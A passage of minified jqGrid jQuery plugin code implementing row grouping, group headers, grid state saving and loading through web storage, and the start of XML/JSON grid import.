e,r;this.grid&&(o=o||"set",a=a||"first",e=Ye(i).serializeArray(),r={},Ye.each(e,function(e,t){r[t.name]=t.value}),"add"===o?Ye(this).jqGrid("addRowData",t,r,a):"set"===o&&Ye(this).jqGrid("setRowData",t,r))})}}),Ye.jgrid.extend({groupingInit:function(){return this.each(function(){Ye.extend(this.p.groupingView,{groupField:[],groupOrder:[],groupText:[],groupColumnShow:[],groupSummary:[],showSummaryOnHide:!1,sortitems:[],sortnames:[],summary:[],summaryval:[],plusicon:"",minusicon:"",displayField:[],groupSummaryPos:[],formatDisplayField:[],_locgr:!1},!0)})},groupingSetup:function(){return this.each(function(){var e,t,r,i=this,o=i.p.colModel,a=i.p.groupingView,n=Ye.jgrid.styleUI[i.p.styleUI||"jQueryUI"].grouping;if(null===a||"object"!=typeof a&&!Ye.jgrid.isFunction(a))i.p.grouping=!1;else if(a.plusicon||(a.plusicon=n.icon_plus),a.minusicon||(a.minusicon=n.icon_minus),a.groupField.length){for(void 0===a.visibiltyOnNextGrouping&&(a.visibiltyOnNextGrouping=[]),a.lastvalues=[],a._locgr||(a.groups=[]),a.counters=[],e=0;e<a.groupField.length;e++)a.groupOrder[e]||(a.groupOrder[e]="asc"),a.groupText[e]||(a.groupText[e]="{0}"),"boolean"!=typeof a.groupColumnShow[e]&&(a.groupColumnShow[e]=!0),"boolean"!=typeof a.groupSummary[e]&&(a.groupSummary[e]=!1),a.groupSummaryPos[e]||(a.groupSummaryPos[e]="footer"),!0===a.groupColumnShow[e]?(a.visibiltyOnNextGrouping[e]=!0,Ye(i).jqGrid("showCol",a.groupField[e])):(a.visibiltyOnNextGrouping[e]=Ye("#"+Ye.jgrid.jqID(i.p.id+"_"+a.groupField[e])).is(":visible"),Ye(i).jqGrid("hideCol",a.groupField[e]));for(a.summary=[],a.hideFirstGroupCol&&Array.isArray(a.formatDisplayField)&&!Ye.jgrid.isFunction(a.formatDisplayField[0])&&(a.formatDisplayField[0]=function(e){return e}),t=0,r=o.length;t<r;t++)a.hideFirstGroupCol&&!o[t].hidden&&a.groupField[0]===o[t].name&&(o[t].formatter=function(){return""}),o[t].summaryType&&(o[t].summaryDivider?a.summary.push({nm:o[t].name,st:o[t].summaryType,v:"",sd:o[t].summaryDivider,vd:"",sr:o[t].summaryRound,srt:o[t].summaryRoundType||"round"}):a.summary.push({nm:o[t].name,st:o[t].summaryType,v:"",sr:o[t].summaryRound,srt:o[t].summaryRoundType||"round"}))}else i.p.grouping=!1})},groupingPrepare:function(d,p){return this.each(function(){for(var e,t,r,i=this.p.groupingView,o=this,a=function(){Ye.jgrid.isFunction(this.st)?this.v=this.st.call(o,this.v,this.nm,d):(this.v=Ye(o).jqGrid("groupingCalculations.handler",this.st,this.v,this.nm,this.sr,this.srt,d),"avg"===this.st.toLowerCase()&&this.sd&&(this.vd=Ye(o).jqGrid("groupingCalculations.handler",this.st,this.vd,this.sd,this.sr,this.srt,d)))},n=i.groupField.length,l=0,s=0;s<n;s++)e=i.groupField[s],r=i.displayField[s],t=d[e],null==(r=null==r?null:d[r])&&(r=t),void 0!==t&&(0===p?(i.groups.push({idx:s,dataIndex:e,value:t,displayValue:r,startRow:p,cnt:1,summary:[]}),i.lastvalues[s]=t,i.counters[s]={cnt:1,pos:i.groups.length-1,summary:Ye.extend(!0,[],i.summary)}):"object"==typeof t||(Array.isArray(i.isInTheSameGroup)&&Ye.jgrid.isFunction(i.isInTheSameGroup[s])?i.isInTheSameGroup[s].call(o,i.lastvalues[s],t,s,i):i.lastvalues[s]===t)?1===l?(i.groups.push({idx:s,dataIndex:e,value:t,displayValue:r,startRow:p,cnt:1,summary:[]}),i.lastvalues[s]=t,i.counters[s]={cnt:1,pos:i.groups.length-1,summary:Ye.extend(!0,[],i.summary)}):(i.counters[s].cnt+=1,i.groups[i.counters[s].pos].cnt=i.counters[s].cnt):(i.groups.push({idx:s,dataIndex:e,value:t,displayValue:r,startRow:p,cnt:1,summary:[]}),i.lastvalues[s]=t,i.counters[s]={cnt:l=1,pos:i.groups.length-1,summary:Ye.extend(!0,[],i.summary)}),Ye.each(i.counters[s].summary,a),i.groups[i.counters[s].pos].summary=i.counters[s].summary)}),this},groupingToggle:function(v){return this.each(function(){function e(e){return 0<(e=Ye.map(e.split(" "),function(e){if(e.substring(0,s.length+1)===s+"_")return parseInt(e.substring(s.length+1),10)})).length?e[0]:void 0}var t,r,i,o=this,a=o.p.groupingView,n=v.split("_"),l=parseInt(n[n.length-2],10),s=(n.splice(n.length-2,2),n.join("_")),d=a.minusicon,p=a.plusicon,n=Ye("#"+Ye.jgrid.jqID(v)),c=n.length?n[0].nextSibling:null,n=Ye("#"+Ye.jgrid.jqID(v)+" span.tree-wrap-"+o.p.direction),u=!1,h=!1,g=!!o.p.frozenColumns&&o.p.id+"_frozen",f=!!g&&Ye("#"+Ye.jgrid.jqID(v),"#"+Ye.jgrid.jqID(g)),m=f&&f.length?f[0].nextSibling:null;if(n.hasClass(d)){if(c)for(;c&&!(void 0!==(t=e(c.className))&&t<=l);)i=parseInt(Ye(c).attr("jqfootlevel"),10),(h=!isNaN(i)&&a.showSummaryOnHide&&l<=i)||Ye(c).hide(),c=c.nextSibling,g&&(h||Ye(m).hide(),m=m.nextSibling);n.removeClass(d).addClass(p),u=!0}else{if(c)for(r=void 0;c;){if(t=e(c.className),i=parseInt(Ye(c).attr("jqfootlevel"),10),void 0===r&&(r=void 0===t),h=Ye(c).hasClass("ui-subgrid")&&Ye(c).hasClass("ui-sg-collapsed"),void 0!==t){if(t<=l)break;t!==l+1||h||(Ye(c).show().find(">td>span.tree-wrap-"+o.p.direction).removeClass(d).addClass(p),g&&Ye(m).show().find(">td>span.tree-wrap-"+o.p.direction).removeClass(d).addClass(p))}else r?h||(Ye(c).show(),g&&Ye(m).show()):!isNaN(i)&&0<=i&&i===l&&(Ye(c).show(),g)&&Ye(m).show();c=c.nextSibling,g&&(m=m.nextSibling)}n.removeClass(p).addClass(d)}g&&"auto"===o.p.height&&(o.grid.fbDiv.height(Ye(o).height()),o.grid.fsDiv)&&(f=Ye(o.grid.bDiv)[0].scrollWidth>Ye(o.grid.bDiv)[0].clientWidth?Ye.jgrid.scrollbarHeight():0,o.grid.fsDiv.css("top",o.grid.fbDiv.position().top+Ye(o).height()+f+"px")),Ye(o).triggerHandler("jqGridGroupingClickGroup",[v,u]),Ye.jgrid.isFunction(o.p.onClickGroup)&&o.p.onClickGroup.call(o,v,u)}),!1},groupingRender:function(D,F,G,S){return this.each(function(){var u,h,g,f,m=this,v=m.p.groupingView,j="",b=v.groupCollapse?v.plusicon:v.minusicon,y=[],w=v.groupField.length,x=Ye.jgrid.styleUI[m.p.styleUI||"jQueryUI"].common,b=b+" tree-wrap-"+m.p.direction,_=(Ye.each(m.p.colModel,function(e,t){for(var r=0;r<w;r++)if(v.groupField[r]===t.name){y[r]=e;break}}),0);function q(e,t,r,i,o){for(var a,n,l,s=function(e,t,r){var i,o=!1;if(0===t)o=r[e];else{var a=r[e].idx;if(0===a)o=r[e];else for(i=e;0<=i;i--)if(r[i].idx===a-t){o=r[i];break}}return o}(e,t,r),d=m.p.colModel,p=(s.cnt,""),c=!1,u=i;u<F;u++)!d[u].hidden&&!c&&o?(n=o,c=!0):n='<td role="gridcell" '+m.formatCol(u,1,"")+"> </td>",Ye.each(s.summary,function(){if(this.nm===d[u].name){l=d[u].summaryTpl||"{0}",a=this.v;try{this.groupCount=s.cnt,this.groupIndex=s.dataIndex,this.groupValue=s.value}catch(e){}return n='<td role="gridcell" '+m.formatCol(u,1,"")+">"+Ye.jgrid.template(l,a,s.cnt,s.dataIndex,s.displayValue,s.summary)+"</td>",!1}}),p+=n;return p}var C,I=Ye.makeArray(v.groupSummary);I.reverse(),C=m.p.multiselect?' colspan="2"':"",Ye.each(v.groups,function(e,t){if(v._locgr&&!(t.startRow+t.cnt>(G-1)*S&&t.startRow<G*S))return!0;_++,g=m.p.id+"ghead_"+t.idx,h=g+"_"+e,u="<span style='cursor:pointer;margin-right:8px;margin-left:5px;' class='"+x.icon_base+" "+b+"' onclick=\"jQuery('#"+Ye.jgrid.jqID(m.p.id)+"').jqGrid('groupingToggle','"+h+"');return false;\"></span>";try{f=Array.isArray(v.formatDisplayField)&&Ye.jgrid.isFunction(v.formatDisplayField[t.idx])?v.formatDisplayField[t.idx].call(m,t.displayValue,t.value,m.p.colModel[y[t.idx]],t.idx,v):m.formatter(h,t.displayValue,y[t.idx],t.value)}catch(e){f=t.displayValue}for(var r="",i=0;i<t.summary.length;i++){var o=t.summary[i],a=Ye.jgrid.getElemByAttrVal(m.p.colModel,"name",o.nm,!0);if(0<=a){"string"==typeof o.st&&"avg"===o.st.toLowerCase()&&(o.sd&&o.vd?o.v=o.v/o.vd:o.v&&0<t.cnt&&(o.v=o.v/t.cnt)),o.uv=o.v;try{o.v=m.formatter("",o.v,a,this)}catch(e){}}}if("string"!=typeof(r=Ye.jgrid.isFunction(v.groupText[t.idx])?v.groupText[t.idx].call(m,f,t.cnt,t.summary):Ye.jgrid.template.call(m,v.groupText[t.idx],f,t.cnt,t.summary))&&"number"!=typeof r&&(r=f),"header"===v.groupSummaryPos[t.idx]?j=(j+='<tr id="'+h+'"'+(v.groupCollapse&&0<t.idx?' style="display:none;" ':" ")+'role="row" class= "'+x.content+" jqgroup ui-row-"+m.p.direction+" "+g+'">')+q(e,0,v.groups,C?1:0,'<td role="gridcell" style="padding-left:'+12*t.idx+'px;"'+C+">"+u+r+"</td>")+"</tr>":j+='<tr id="'+h+'"'+(v.groupCollapse&&0<t.idx?' style="display:none;" ':" ")+'role="row" class= "'+x.content+" jqgroup ui-row-"+m.p.direction+" "+g+'"><td style="padding-left:'+12*t.idx+'px;" colspan="'+(!1===v.groupColumnShow[t.idx]?F-1:F)+'">'+u+r+"</td></tr>",w-1===t.idx){var n,l,s,d=v.groups[e+1],p=0,r=t.startRow,c=void 0!==d?d.startRow:v.groups[e].startRow+v.groups[e].cnt;for(i=r=v._locgr&&(p=(G-1)*S)>t.startRow?p:r;i<c&&D[i-p];i++)j+=D[i-p].join("");if("header"!==v.groupSummaryPos[t.idx]){if(void 0!==d){for(l=0;l<v.groupField.length&&d.dataIndex!==v.groupField[l];l++);_=v.groupField.length-l}for(n=0;n<_;n++)I[n]&&(s="",v.groupCollapse&&!v.showSummaryOnHide&&(s=' style="display:none;"'),j=(j+="<tr"+s+' jqfootlevel="'+(t.idx-n)+'" role="row" class="'+x.content+" jqfoot ui-row-"+m.p.direction+'">')+q(e,n,v.groups,0,!1)+"</tr>");_=l}}}),Ye("#"+Ye.jgrid.jqID(m.p.id)+" tbody").first().append(j),j=null})},groupingGroupBy:function(i,o){return this.each(function(){var e,t=this,r=("string"==typeof i&&(i=[i]),t.p.groupingView);for(t.p.grouping=!0,r._locgr=!1,void 0===r.visibiltyOnNextGrouping&&(r.visibiltyOnNextGrouping=[]),e=0;e<r.groupField.length;e++)!r.groupColumnShow[e]&&r.visibiltyOnNextGrouping[e]&&Ye(t).jqGrid("showCol",r.groupField[e]);for(e=0;e<i.length;e++)r.visibiltyOnNextGrouping[e]=Ye("#"+Ye.jgrid.jqID(t.p.id)+"_"+Ye.jgrid.jqID(i[e])).is(":visible");t.p.groupingView=Ye.extend(t.p.groupingView,o||{}),r.groupField=i,Ye(t).trigger("reloadGrid")})},groupingRemove:function(i,o){return this.each(function(){var e=this;if(void 0===i&&(i=!0),void 0===o&&(o=!1),!(e.p.grouping=!1)===i){for(var t=e.p.groupingView,r=0;r<t.groupField.length;r++)!t.groupColumnShow[r]&&t.visibiltyOnNextGrouping[r]&&Ye(e).jqGrid("showCol",t.groupField);Ye("#"+Ye.jgrid.jqID(e.p.id)+" tbody").first().find("tr.jqgroup, tr.jqfoot").remove(),Ye("#"+Ye.jgrid.jqID(e.p.id)+" tbody").first().find("tr.jqgrow:hidden").show()}else Ye(e).trigger("reloadGrid");o&&Ye(e).jqGrid("groupingInit")})},groupingCalculations:{handler:function(e,t,r,i,o,a){var n,l={sum:function(){return Ye.jgrid.floatNum(t)+Ye.jgrid.floatNum(a[r])},min:function(){return""===t?Ye.jgrid.floatNum(a[r]):Math.min(Ye.jgrid.floatNum(t),Ye.jgrid.floatNum(a[r]))},max:function(){return""===t?Ye.jgrid.floatNum(a[r]):Math.max(Ye.jgrid.floatNum(t),Ye.jgrid.floatNum(a[r]))},count:function(){return""===t&&(t=0),a.hasOwnProperty(r)?t+1:0},avg:function(){return l.sum()}};if(l[e])return n=l[e](),null!=i?"fixed"===o?n.toFixed(i):(o=Math.pow(10,i),Math.round(n*o)/o):n;throw"jqGrid Grouping No such method: "+e}},groupingResetCalcs:function(){return this.each(function(){this.p.groupingView._locgr=!1})},setColSpanHeader:function(_){return this.each(function(){var e,t,r,i,o,a,n,l,s,d,p,c,u,h,g=this,f=0,m=g.p.colModel,v=m.length,j=g.grid.headers,b=Ye("table.ui-jqgrid-htable",g.grid.hDiv),y=b.children("thead"),w=b.find(".jqg-first-row-header"),b=!1,x=y.children("tr").length;for(Array.isArray(_)&&(g.p.colSpanHeader=_),void 0===w[0]?w=Ye("<tr>",{role:"row","aria-hidden":"true"}).addClass("jqg-first-row-header").css("height","auto"):w.empty(),g.p.frozenColumns&&(Ye(g).jqGrid("destroyFrozenColumns"),b=!0),e=0;e<v;e++)r=j[e].el,i=Ye(r),t=m[e],o={height:"0px",width:j[e].width+"px",display:t.hidden?"none":""},Ye("<th>",{role:"gridcell"}).css(o).addClass("ui-first-th-"+g.p.direction+" "+(t.labelClasses||"")).appendTo(w);for(y.prepend(w),Ye(g).on("jqGridResizeStop.setGroupHeaders",function(e,t,r){w.find("th").eq(r)[0].style.width=t+"px"}),e=0;e<v;e++)if(r=j[e].el,i=Ye(r),t=m[e],0<=(n=Ye.jgrid.inColumnHeader(t.name,g.p.colSpanHeader))){for(s=(l=g.p.colSpanHeader[n]).numberOfColumns,d=l.titleText||"",u=l.className||"",p=l.toolTip||"",n=c=0;n<s&&e+n<v;n++)m[e+n].hidden||c++;if(0<c&&(i.attr("colspan",String(c)),1<x))for(a=1;a<x;a++)Ye("tr",y).eq(a+1).find("th").eq(e).attr("colspan",String(c));for(d&&(h=i.find("div.ui-th-div")[0],l.savedLabel=h.innerHTML,h.innerHTML=d,"string"==typeof p&&""!==p?i.attr("title",p):g.p.headertitles&&i.attr("title",d)),i.addClass(u),f=0;f<s-1;f++)if(Ye(j[f+e+1].el).hide(),g.p.colModel[f+e+1].hidedlg=!0,g.p.colModel[f+e+1]._colspancell=!0,1<x)for(a=1;a<x;a++)Ye("tr",y).eq(a+1).find("th").eq(e+f+1).hide()}b&&Ye(g).jqGrid("setFrozenColumns")})},destroyColSpanHeader:function(l){return void 0===l&&(l=!0),this.each(function(){var r,i,e,o,a,t=this,n=Ye("table.ui-jqgrid-htable",t.grid.hDiv).children("thead");if(Ye("tr.jqg-first-row-header",n).remove(),t.p.colSpanHeader.length)for(e=0;e<t.p.colSpanHeader.length;e++)if(r=t.p.colSpanHeader[e],!((a=Ye.jgrid.getElemByAttrVal(t.p.colModel,"name",r.startColumnName,!0))<0)){for(i=a+1;i<a+r.numberOfColumns;i++)t.p.colModel[i].hidedlg=!1,t.p.colModel[i]._colspancell=!1;Ye(">tr",n).each(function(e,t){for((o=Ye("th",t).eq(a)).className||(o.className=""),Ye(o).attr("colspan","").removeClass(o.className),Ye(t).hasClass("ui-jqgrid-labels")&&(o.find("div.ui-th-div")[0].innerHTML=r.savedLabel),i=1;i<r.numberOfColumns;i++)Ye("th",t).eq(a+i).show()})}l&&(t.p.colSpanHeader=[])})},setGroupHeaders:function(q){return q=Ye.extend({useColSpanStyle:!1,groupHeaders:[]},q||{}),this.each(function(){var e,t,r,i,o,a,n,l,s,d,p,c,u=this,h=0,g=u.p.colModel,f=g.length,m=u.grid.headers,v=Ye("table.ui-jqgrid-htable",u.grid.hDiv),j=v.children("thead").children("tr.ui-jqgrid-labels").last().addClass("jqg-second-row-header"),b=v.children("thead"),y=v.find(".jqg-first-row-header"),w=!1,x=!1,_=Ye.jgrid.styleUI[u.p.styleUI||"jQueryUI"].base;for(u.p.groupHeader||(u.p.groupHeader=[]),u.p.groupHeader.push(q),u.p.groupHeaderOn=!0,void 0===y[0]?y=Ye("<tr>",{role:"row","aria-hidden":"true"}).addClass("jqg-first-row-header").css("height","auto"):y.empty(),u.p.frozenColumns&&(Ye(u).jqGrid("destroyFrozenColumns"),x=!0),(Ye(document.activeElement).is("input")||Ye(document.activeElement).is("textarea"))&&(w=document.activeElement),Ye(u).prepend(b),r=Ye("<tr>",{role:"row"}).addClass("ui-jqgrid-labels jqg-third-row-header"),e=0;e<f;e++)if(i=m[e].el,o=Ye(i),t=g[e],d={height:"0px",width:m[e].width+"px",display:t.hidden?"none":""},Ye("<th>",{role:"gridcell"}).css(d).addClass("ui-first-th-"+u.p.direction+" "+(t.labelClasses||"")).appendTo(y),i.style.width="",0<=(a=Ye.jgrid.inColumnHeader(t.name,q.groupHeaders))){for(n=(d=q.groupHeaders[a]).numberOfColumns,c=d.titleText,l=d.toolTip||"",d=d.className||"",a=s=0;a<n&&e+a<f;a++)g[e+a].hidden||s++;d=Ye("<th>").attr({role:"columnheader"}).addClass(_.headerBox+" ui-th-column-header ui-th-"+u.p.direction+" "+d+" "+(t.labelClasses||"")).html(c),0<s&&d.attr("colspan",String(s)),"string"==typeof l&&""!==l?d.attr("title",l):u.p.headertitles&&d.attr("title",d.text()),0===s&&d.hide(),o.before(d),r.append(i),h=n-1}else 0===h?q.useColSpanStyle?(c=o.attr("rowspan")?parseInt(o.attr("rowspan"),10)+1:2,o.attr("rowspan",c)):(Ye("<th>",{role:"columnheader"}).addClass(_.headerBox+" ui-th-column-header ui-th-"+u.p.direction).css({display:t.hidden?"none":""}).insertBefore(o),r.append(i)):(r.append(i),h--);if((b=Ye(u).children("thead")).prepend(y),r.insertAfter(j),v.append(b),q.useColSpanStyle&&(v.find("span.ui-jqgrid-resize").each(function(){var e=Ye(this).parent();e.is(":visible")&&(this.style.cssText="height: "+e.height()+"px !important; cursor: col-resize;")}),v.find("div.ui-jqgrid-sortable").each(function(){var e=Ye(this),t=e.parent();t.is(":visible")&&t.is(":has(span.ui-jqgrid-resize)")&&e.css("top",(t.height()-e.outerHeight())/2-4+"px")})),p=b.find("tr.jqg-first-row-header"),Ye(u).on("jqGridResizeStop.setGroupHeaders",function(e,t,r){p.find("th").eq(r)[0].style.width=t+"px"}),w)try{Ye(w).focus()}catch(e){}j=Ye("tr.jqg-second-row-header th").eq(0);"object"===Ye.jgrid.type(j)&&j.length&&""===Ye.jgrid.trim(j[0].outerText)&&Ye("tr.jqg-second-row-header th").eq(0).prepend(" "),x&&Ye(u).jqGrid("setFrozenColumns"),Ye(u).triggerHandler("afterSetGroupHandler",[q])})},destroyGroupHeader:function(c){return void 0===c&&(c=!0),this.each(function(){var e,t,r,i,o,a,n=this,l=n.grid,s=Ye("table.ui-jqgrid-htable thead",l.hDiv),d=n.p.colModel,p=!1;if(l){for(n.p.frozenColumns&&(Ye(n).jqGrid("destroyFrozenColumns"),p=!0),Ye(this).off(".setGroupHeaders"),n.p.groupHeaderOn=!1,e=Ye("<tr>",{role:"row"}).addClass("ui-jqgrid-labels"),t=0,r=(i=l.headers).length;t<r;t++){a=d[t].hidden?"none":"",a=Ye(i[t].el).width(Ye("tr.jqg-first-row-header th",s).eq(t).width()).css("display",a);try{a.removeAttr("rowSpan")}catch(e){a.attr("rowSpan",1)}e.append(a),0<(o=a.children("span.ui-jqgrid-resize")).length&&(o[0].style.height=""),a.children("div")[0].style.top=""}Ye(s).children("tr.ui-jqgrid-labels").remove(),Ye(s).children("tr.jqg-first-row-header").remove(),Ye(s).prepend(e),!0===c&&Ye(n).jqGrid("setGridParam",{groupHeader:null}),p&&Ye(n).jqGrid("setFrozenColumns"),Ye(n).off("afterSetGroupHandler")}})},isGroupHeaderOn:function(){var e=this[0];return!0===e.p.groupHeaderOn&&e.p.groupHeader&&(Array.isArray(e.p.groupHeader)||Ye.jgrid.isFunction(e.p.groupHeader))},refreshGroupHeaders:function(){return this.each(function(){var e,t=this,r=Ye(t).jqGrid("isGroupHeaderOn");if(r&&(Ye(t).jqGrid("destroyGroupHeader",!1),e=Ye.extend([],t.p.groupHeader),t.p.groupHeader=null),r&&e)for(var i=0;i<e.length;i++)Ye(t).jqGrid("setGroupHeaders",e[i])})}}),Ye.jgrid=Ye.jgrid||{},Ye.extend(Ye.jgrid,{saveState:function(e,t){if(t=Ye.extend({useStorage:!0,storageType:"localStorage",beforeSetItem:null,compression:!1,compressionModule:"LZString",compressionMethod:"compressToUTF16",debug:!1,saveData:!0},t||{}),e){var r,i="",o="",e=Ye("#"+e)[0];if(e.grid){if((n=Ye(e).data("inlineNav"))&&e.p.inlineNav&&Ye(e).jqGrid("setGridParam",{_iN:n}),(n=Ye(e).data("filterToolbar"))&&e.p.filterToolbar&&Ye(e).jqGrid("setGridParam",{_fT:n}),i=Ye(e).jqGrid("jqGridExport",{exptype:"jsonstring",ident:"",root:"",data:t.saveData}),o="",t.saveData&&(n=(o=Ye(e.grid.bDiv).find(".ui-jqgrid-btable tbody").first().html()).indexOf("</tr>"),o=o.slice(n+5)),Ye.jgrid.isFunction(t.beforeSetItem)&&null!=(r=t.beforeSetItem.call(e,i))&&(i=r),t.debug){Ye("#gbox_tree").prepend('<a id="link_save" target="_blank" download="jqGrid_dump.txt">Click to save Dump Data</a>');var a,n=[],l={};n.push("Grid Options\n"),n.push(i),n.push("\n"),n.push("GridData\n"),n.push(o),l.type="plain/text;charset=utf-8";try{a=new File(n,"jqGrid_dump.txt",l)}catch(e){a=new Blob(n,l)}n=URL.createObjectURL(a),Ye("#link_save").attr("href",n).on("click",function(){Ye(this).remove()})}if(t.compression&&t.compressionModule)try{null!=(r=window[t.compressionModule][t.compressionMethod](i))&&(i=r,o=window[t.compressionModule][t.compressionMethod](o))}catch(e){}if(t.useStorage&&Ye.jgrid.isLocalStorage())try{window[t.storageType].setItem("jqGrid"+e.p.id,i),window[t.storageType].setItem("jqGrid"+e.p.id+"_data",o)}catch(e){22===e.code&&alert("Local storage limit is over!")}return i}}},loadState:function(e,t,r){if(r=Ye.extend({useStorage:!0,storageType:"localStorage",clearAfterLoad:!1,beforeSetGrid:null,afterSetGrid:null,decompression:!1,decompressionModule:"LZString",decompressionMethod:"decompressFromUTF16",restoreData:!0},r||{}),e){var i,o,a,n=Ye("#"+e)[0];if(r.useStorage)try{t=window[r.storageType].getItem("jqGrid"+n.id),l=window[r.storageType].getItem("jqGrid"+n.id+"_data")}catch(e){}if(t){if(r.decompression&&r.decompressionModule)try{null!=(i=window[r.decompressionModule][r.decompressionMethod](t))&&(t=i,l=window[r.decompressionModule][r.decompressionMethod](l))}catch(e){}if((i=Ye.jgrid.parseFunc(t))&&"object"===Ye.jgrid.type(i)){n.grid&&Ye.jgrid.gridUnload(e);var l,t=function(e){return e},s={reccount:(i=Ye.jgrid.isFunction(r.beforeSetGrid)&&(s=r.beforeSetGrid(i))&&"object"===Ye.jgrid.type(s)?s:i).reccount,records:i.records,lastpage:i.lastpage,shrinkToFit:t(i.shrinkToFit),data:t(i.data),datatype:t(i.datatype),grouping:t(i.grouping)},d=(i.shrinkToFit=!1,i.data=[],i.datatype="local",i.grouping=!1,i.inlineNav&&(o=t(i._iN),i._iN=null,delete i._iN),i.filterToolbar&&(a=t(i._fT),i._fT=null,delete i._fT),Ye("#"+e).jqGrid(i));if(d.jqGrid("delRowData","norecs"),r.restoreData&&""!==Ye.jgrid.trim(l)&&d.append(l),d.jqGrid("setGridParam",s),i.storeNavOptions&&i.navGrid&&(d[0].p.navGrid=!1,d.jqGrid("navGrid",i.pager,i.navOptions,i.editOptions,i.addOptions,i.delOptions,i.searchOptions,i.viewOptions),i.navButtons)&&i.navButtons.length)for(var p=0;p<i.navButtons.length;p++)"sepclass"in i.navButtons[p][1]?d.jqGrid("navSeparatorAdd",i.navButtons[p][0],i.navButtons[p][1]):d.jqGrid("navButtonAdd",i.navButtons[p][0],i.navButtons[p][1]);if(d[0].refreshIndex(),i.subGrid&&(t=1===i.multiselect?1:0,l=!0===i.rownumbers?1:0,d.jqGrid("addSubGrid",t+l),Ye.each(d[0].rows,function(e,t){Ye(t).hasClass("ui-sg-expanded")&&Ye(d[0].rows[e-1]).find("td.sgexpanded").click().click()})),i.treeGrid)for(var c=1,u=d[0].rows.length,h=i.expColInd,g=i.treeReader.leaf_field,f=i.treeReader.expanded_field;c<u;)Ye(d[0].rows[c].cells[h]).find("div.treeclick").on("click",function(e){e=e.target||e.srcElement,e=Ye.jgrid.stripPref(i.idPrefix,Ye(e,d[0].rows).closest("tr.jqgrow")[0].id),e=d[0].p._index[e];return d[0].p.data[e][g]||(d[0].p.data[e][f]?(d.jqGrid("collapseRow",d[0].p.data[e]),d.jqGrid("collapseNode",d[0].p.data[e])):(d.jqGrid("expandRow",d[0].p.data[e]),d.jqGrid("expandNode",d[0].p.data[e]))),!1}),!0===i.ExpandColClick&&Ye(d[0].rows[c].cells[h]).find("span.cell-wrapper").css("cursor","pointer").on("click",function(e){var e=e.target||e.srcElement,e=Ye.jgrid.stripPref(i.idPrefix,Ye(e,d[0].rows).closest("tr.jqgrow")[0].id),t=d[0].p._index[e];return d[0].p.data[t][g]||(d[0].p.data[t][f]?(d.jqGrid("collapseRow",d[0].p.data[t]),d.jqGrid("collapseNode",d[0].p.data[t])):(d.jqGrid("expandRow",d[0].p.data[t]),d.jqGrid("expandNode",d[0].p.data[t]))),d.jqGrid("setSelection",e),!1}),c++;if(i.multiselect&&Ye.each(i.selarrrow,function(){Ye("#jqg_"+e+"_"+this)[i.useProp?"prop":"attr"]("checked","checked")}),d.jqGrid("isGroupHeaderOn")&&d.jqGrid("refreshGroupHeaders"),i.searchCols)for(var m in i._results)i._results.hasOwnProperty(m)&&Ye("#jqs_"+e+"_"+m).val(i._results[m].v);i.inlineNav&&o&&(d.jqGrid("setGridParam",{inlineNav:!1}),d.jqGrid("inlineNav",i.pager,o)),i.filterToolbar&&a&&(d.jqGrid("setGridParam",{filterToolbar:!1}),a.restoreFromFilters=!0,d.jqGrid("filterToolbar",a)),i.frozenColumns&&d.jqGrid("setFrozenColumns"),d[0].updatepager(!0,!0),Ye.jgrid.isFunction(r.afterSetGrid)&&r.afterSetGrid(d),r.clearAfterLoad&&(window[r.storageType].removeItem("jqGrid"+n.id),window[r.storageType].removeItem("jqGrid"+n.id+"_data"))}else alert("can not convert to object")}}},isGridInStorage:function(e,t){var r,i,o,t=Ye.extend({storageType:"localStorage"},t||{});try{i=window[t.storageType].getItem("jqGrid"+e),o=window[t.storageType].getItem("jqGrid"+e+"_data"),r=null!=i&&null!=o&&"string"==typeof i&&"string"==typeof o}catch(e){r=!1}return r},setRegional:function(e,t){var r={storageType:"sessionStorage"};if((r=Ye.extend(r,t||{})).regional){Ye.jgrid.saveState(e,r),r.beforeSetGrid=function(e){return e.regional=r.regional,e.force_regional=!0,e},Ye.jgrid.loadState(e,null,r);var t=Ye("#"+e)[0],i=Ye(t).jqGrid("getGridParam","colModel"),o=-1,a=Ye.jgrid.getRegional(t,"nav");Ye.each(i,function(e){if(this.formatter&&"actions"===this.formatter)return o=e,!1}),-1!==o&&a&&Ye("#"+e+" tbody tr").each(function(){var e=this.cells[o];Ye(e).find(".ui-inline-edit").attr("title",a.edittitle),Ye(e).find(".ui-inline-del").attr("title",a.deltitle),Ye(e).find(".ui-inline-save").attr("title",a.savetitle),Ye(e).find(".ui-inline-cancel").attr("title",a.canceltitle)});try{window[r.storageType].removeItem("jqGrid"+t.id),window[r.storageType].removeItem("jqGrid"+t.id+"_data")}catch(e){}}},jqGridImport:function(e,r){r=Ye.extend({imptype:"xml",impstring:"",impurl:"",mtype:"GET",impData:{},xmlGrid:{config:"root>grid",data:"root>rows"},jsonGrid:{config:"grid",data:"data"},ajaxOptions:{}},r||{});function i(e,t){var r,i,o,a=Ye(t.xmlGrid.config,e)[0],t=Ye(t.xmlGrid.data,e)[0];if(Ye.grid.xmlToJSON){for(o in r=Ye.jgrid.xmlToJSON(a))r.hasOwnProperty(o)&&(i=r[o]);t?(a=r.grid.datatype,r.grid.datatype="xmlstring",r.grid.datastr=e,Ye(n).jqGrid(i).jqGrid("setGridParam",{datatype:a})):setTimeout(function(){Ye(n).jqGrid(i)},0)}else alert("xml2json or parse are not present")}function t(e,t){var r;e&&"string"==typeof e&&(r=(e=Ye.jgrid.parseFunc(e))[t.jsonGrid.config],(e=e[t.jsonGrid.data])?(t=r.datatype,r.datatype="jsonstring",r.datastr=e,Ye(n).jqGrid(r).jqGrid("setGridParam",{datatype:t})):Ye(n).jqGrid(r))}var o,n=(0===e.indexOf("#")?"":"#")+Ye.jgrid.jqID(e);switch(r.imptype){case"xml":Ye.ajax(Ye.extend({url:r.impurl,type:r.mtype,data:r.impData,dataType:"xml",complete:function(e,t){"success"===t&&(i(e.responseXML,r),Ye(n).triggerHandler("jqGridImportComplete",[e,r]),Ye.jgrid.isFunction(r.importComplete))&&r.importComplete(e)}},r.ajaxOptions));break;case"xmlstring":r.impstring&&"string"==typeof r.impstring&&(o=Ye.parseXML(r.impstring))&&(i(o,r),Ye(n).triggerHandler("jqGridImportComplete",[o,r]),Ye.jgrid.isFunction(r.importComplete))&&r.importComplete(o);break;case"json":Ye.ajax(Ye.extend({url:r.impurl,type:r.mtype,data:r.impData,dataType:"json",complete:function(e){try{t(e.responseText,r),Ye(n).triggerHandler("jqGridImportComplete",[e,r]),Ye.jgrid.isFunction(r.importComplete)&&r.importComplete(e)}catch(e){}}},r.ajaxOptions));break;case"jsonstring":r.impstring&&"string"==typeof 